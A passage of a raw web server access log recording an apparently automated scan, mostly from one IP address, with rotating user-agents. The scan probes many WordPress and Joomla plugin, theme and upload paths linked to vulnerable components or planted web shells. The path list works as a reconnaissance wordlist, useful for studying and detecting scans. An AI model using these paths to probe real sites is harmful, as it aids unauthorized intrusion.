HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:19 +0300] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.8 - - [03/Feb/2026:10:57:20 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:57:20 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.8 - - [03/Feb/2026:10:57:20 +0300] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:21 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.8 - - [03/Feb/2026:10:57:21 +0300] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.8 - - [03/Feb/2026:10:57:21 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:21 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:22 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:22 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:22 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:22 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:23 +0300] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:23 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:23 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:57:23 +0300] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:24 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:24 +0300] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:57:24 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:25 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:25 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:25 +0300] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:57:26 +0300] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:26 +0300] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:26 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:26 +0300] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:27 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:27 +0300] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:27 +0300] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:28 +0300] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:57:28 +0300] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:28 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:28 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:29 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:29 +0300] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:29 +0300] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:30 +0300] "GET /wp-includes/js/tinymce/plugins/paste/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:30 +0300] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:30 +0300] "GET /templates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:30 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:31 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:31 +0300] "GET /cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:31 +0300] "GET /files-and-directories-in-linux/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.8 - - [03/Feb/2026:10:57:32 +0300] "GET /filemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:32 +0300] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:57:32 +0300] "GET /modules/simpletest/tests/themes/test_basetheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:33 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:33 +0300] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:33 +0300] "GET /wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.13 - - [03/Feb/2026:10:55:59 +0300] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.13 - - [03/Feb/2026:10:55:59 +0300] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:34 +0300] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:34 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:57:34 +0300] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.82.8 - - [03/Feb/2026:10:57:34 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:35 +0300] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:35 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:35 +0300] "GET /wp-content/themes/Avada/includes/lib/inc/fusion-app/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:35 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:35 +0300] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:36 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:57:36 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:36 +0300] "GET /wp-content/themes/twentytwentyone/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:37 +0300] "GET /wp-content/uploads-webpc/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:57:37 +0300] "GET /wp-content/plugins/simple/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.8 - - [03/Feb/2026:10:57:37 +0300] "GET /wp-includes/Requests/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:37 +0300] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:38 +0300] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:38 +0300] "GET /wp-content/plugins/elementor/modules/floating-buttons/classes/render/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:38 +0300] "GET /wp-content/themes/twentytwentytwo/templates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:39 +0300] "GET /wp-admin/css/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.8 - - [03/Feb/2026:10:57:39 +0300] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:57:39 +0300] "GET /wp-content/plugins/wp-file-manager/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:39 +0300] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:40 +0300] "GET /wp-content/plugins/elementor/assets/js/packages/editor-app-bar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:40 +0300] "GET /modules/mod_footer/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.82.8 - - [03/Feb/2026:10:57:40 +0300] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:41 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:41 +0300] "GET /wp-content/plugins/olympus-google-fonts/assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:57:41 +0300] "GET /wp-includes/css/dist/nux/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:41 +0300] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:42 +0300] "GET /wp-includes/js/tinymce/plugins/lists/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:42 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:42 +0300] "GET /cn/wp-content/themes/twentytwentyone/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:42 +0300] "GET /wp-content/plugins/boldgrid-backup-premium/vendor/aws/aws-sdk-php/src/data/elasticmapreduce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:43 +0300] "GET /wp-content/themes/evita/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:43 +0300] "GET /site/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:57:43 +0300] "GET /wp-includes/sitemaps/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:57:43 +0300] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:44 +0300] "GET /wp-content/ID3/img/img/block/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:44 +0300] "GET /ccx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:44 +0300] "GET /themes/zMousse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.8 - - [03/Feb/2026:10:57:44 +0300] "GET /wp-includes/theme-compat/wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:57:45 +0300] "GET /wp-includes/SimplePie/Decode/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:45 +0300] "GET /ludes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:46 +0300] "GET /r/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:57:46 +0300] "GET /wordpress/wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:46 +0300] "GET /bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:46 +0300] "GET /wordpress/update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.8 - - [03/Feb/2026:10:57:46 +0300] "GET /old/update/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.8 - - [03/Feb/2026:10:57:47 +0300] "GET /blog/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:47 +0300] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.8 - - [03/Feb/2026:10:57:47 +0300] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:47 +0300] "GET /templates/beez3/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:48 +0300] "GET /bootstrap/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:48 +0300] "GET /wp-content/plugins/ienroku/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:48 +0300] "GET /wp-content/plugins/xobsqxl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:49 +0300] "GET /wp-content/plugins/achdxhv/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:49 +0300] "GET /verificacion/templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:49 +0300] "GET /sad/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:50 +0300] "GET /wp-includes/ixr/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.8 - - [03/Feb/2026:10:57:50 +0300] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.8 